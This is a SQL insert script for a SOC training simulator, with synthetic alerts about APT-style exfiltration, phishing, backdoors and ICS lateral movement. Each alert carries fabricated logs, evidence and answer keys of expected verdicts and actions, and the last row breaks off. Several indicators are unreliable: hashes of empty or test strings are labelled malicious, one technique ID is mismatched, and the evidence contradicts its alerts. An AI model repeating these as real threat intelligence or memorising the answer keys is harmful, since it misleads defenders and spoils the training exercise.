INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1075, 'Data Exfiltration Alert', 'high', 'Data Loss Prevention (DLP) Systems', 'Sensitive data has been exfiltrated by malware to a known command and control server. The event marks the completion of the espionage mission.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:23:06Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.12.45.67\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"filename\":\"classified_docs.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"jdoe\",\"malware_name\":\"APT29DataStealer\",\"c2_domain\":\"malicious-c2.example.com\"}', '2026-01-24 03:35:57', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"classified_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Unusual data transfer activity detected.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Match with known malicious hash associated with data exfiltration tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.780Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:06Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"malware_name\\\":\\\"APT29DataStealer\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.780Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:06Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"malware_name\\\":\\\"APT29DataStealer\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.780Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:06Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"malware_name\\\":\\\"APT29DataStealer\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.780Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:06Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"malware_name\\\":\\\"APT29DataStealer\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.780Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:23:06Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.12.45.67\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"filename\\\":\\\"classified_docs.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"user\\\":\\\"jdoe\\\",\\\"malware_name\\\":\\\"APT29DataStealer\\\",\\\"c2_domain\\\":\\\"malicious-c2.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1076, 'Suspicious Email Phishing Attempt', 'high', 'Email Gateway Logs', 'A spear-phishing email was detected, mimicking communication from a known partner, attempting to lure an employee into opening a malicious attachment with the objective to gain access to ICS vendor networks.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"email_id\":\"e1d9b2c4-123f-4a2d-bc77-9e0f5e2d0b9a\",\"sender\":\"it-support@partner-company.com\",\"recipient\":\"j.doe@company.com\",\"subject\":\"Urgent: Security Update Required\",\"attachment\":\"Security_Update_10_12.zip\",\"attachment_hash\":\"3d2e479b7e1a2f7c3f5a9f7a2d6b3c4e\",\"sender_ip\":\"203.0.113.45\",\"internal_recipient_ip\":\"192.168.1.25\",\"malware_family\":\"APT29\",\"detection\":{\"method\":\"signature-based\",\"description\":\"Known phishing campaign associated with APT29 targeting ICS vendors.\"}}', '2026-01-24 03:36:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-support@partner-company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3d2e479b7e1a2f7c3f5a9f7a2d6b3c4e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29-related malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with phishing activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Phishing Attempt\",\"date\":\"2026-02-01T20:32:22.782Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1077, 'Execution of Reconnaissance Malware', 'high', 'Endpoint Detection and Response (EDR)', 'Once inside the network, the attackers executed a custom-built malware designed to stealthily map the industrial control systems and gather configuration details.', 'Execution', 'T1049 - System Network Connections Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:15Z\",\"event_id\":\"EXE2345\",\"host\":\"ICS-Server01\",\"user\":\"ics_admin\",\"process_name\":\"recon_malware.exe\",\"process_id\":4521,\"file_hash\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.2.15\",\"destination_port\":445,\"protocol\":\"TCP\",\"action\":\"Executed\",\"malware_signature\":\"CustomReconTool\",\"file_path\":\"C:\\\\ProgramData\\\\recon_malware.exe\"}', '2026-01-24 03:36:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple reconnaissance campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of a critical ICS server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash matches known custom reconnaissance malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"recon_malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Detection\",\"verdict\":\"malicious\",\"details\":\"File executed on host, known for network mapping.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1078, 'Establish Persistence Through Backdoor Installation', 'high', 'System Logs', 'An advanced persistent threat was detected installing a backdoor on critical systems, enabling silent control over compromised systems for prolonged durations.', 'Persistence', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"process_name\":\"backdoor_installer.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"Backdoor installation\",\"description\":\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\"}', '2026-01-24 03:36:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File recognized as part of a known backdoor toolkit.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious software.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Admin user account used in unauthorized context.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.784Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor_installer.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.784Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor_installer.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.784Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor_installer.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.784Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor_installer.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.784Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor_installer.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"Backdoor installation\\\",\\\"description\\\":\\\"Process backdoor_installer.exe executed with root privileges, originating from IP 203.0.113.45, targeting system 192.168.1.10.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1079, 'Lateral Movement via Exploited ICS Protocols', 'high', 'Network Traffic Analysis', 'An advanced threat actor is exploiting known vulnerabilities in ICS communication protocols to move laterally within the network. The attacker aims to control interconnected systems and expand their reach.', 'Lateral Movement', 'T0889', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"protocol\":\"Modbus\",\"action\":\"Exploit Attempt\",\"username\":\"ics_operator\",\"filename\":\"exploit_modbus.exe\",\"file_hash\":\"3d2e479f0e3f4a21a1c8c3b4b5a6e7e9\",\"event_id\":\"evt-48923\",\"message\":\"Detected lateral movement attempt using Modbus protocol exploit from source IP 203.0.113.45 targeting 192.168.1.15\",\"severity\":\"critical\"}', '2026-01-24 03:36:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"ICS component within the network\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"exploit_modbus.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File used in lateral movement exploits\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3d2e479f0e3f4a21a1c8c3b4b5a6e7e9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware exploiting ICS protocols\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1080, 'Data Exfiltration via Encrypted Channels', 'critical', 'Data Loss Prevention (DLP)', 'In the final stage of their operation, attackers exfiltrate valuable ICS configuration and operational data using encrypted channels. The data is intended for future intelligence and potential sabotage.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:23:35Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"encrypted\":true,\"file_hash\":\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\",\"filename\":\"ICS_config_data.zip\",\"user\":\"jdoe\",\"external_ip\":\"203.0.113.45\"}', '2026-01-24 03:36:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with APT activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\",\"is_critical\":true,\"osint_result\":{\"source\":\"vendor\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with exfiltrated sensitive ICS data.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ICS_config_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive ICS data exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of compromised account used in data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encrypted\\\":true,\\\"file_hash\\\":\\\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\\\",\\\"filename\\\":\\\"ICS_config_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encrypted\\\":true,\\\"file_hash\\\":\\\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\\\",\\\"filename\\\":\\\"ICS_config_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encrypted\\\":true,\\\"file_hash\\\":\\\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\\\",\\\"filename\\\":\\\"ICS_config_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encrypted\\\":true,\\\"file_hash\\\":\\\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\\\",\\\"filename\\\":\\\"ICS_config_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:23:35Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"encrypted\\\":true,\\\"file_hash\\\":\\\"8e9b4d9c5b6f8c7a8f0e4b5d6c7a8f9e\\\",\\\"filename\\\":\\\"ICS_config_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1081, 'Spear-Phishing Email with Malicious Attachment', 'high', 'Email Gateway Logs', 'An expertly crafted spear-phishing email was detected targeting key personnel. The email contained a malicious attachment designed to deploy the Careto malware, aiming to compromise user credentials and establish a foothold.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:26:35Z\",\"email_id\":\"b4f3c2d5-163e-4d8c-a5b0-2a5b0f2d7c43\",\"sender\":\"phisher@example.com\",\"recipient\":\"john.doe@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.pdf\",\"hash\":\"a6f5d7b8c9d10e11f13b14a15c16d17e\",\"type\":\"application/pdf\"},\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.10.15\",\"malware_detected\":\"Careto\",\"analysis\":{\"verdict\":\"malicious\",\"description\":\"The attachment contains macros that deploy Careto malware.\"}}', '2026-01-24 03:40:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing email address associated with multiple campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address involved in previous phishing attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a6f5d7b8c9d10e11f13b14a15c16d17e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known variant of Careto malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, 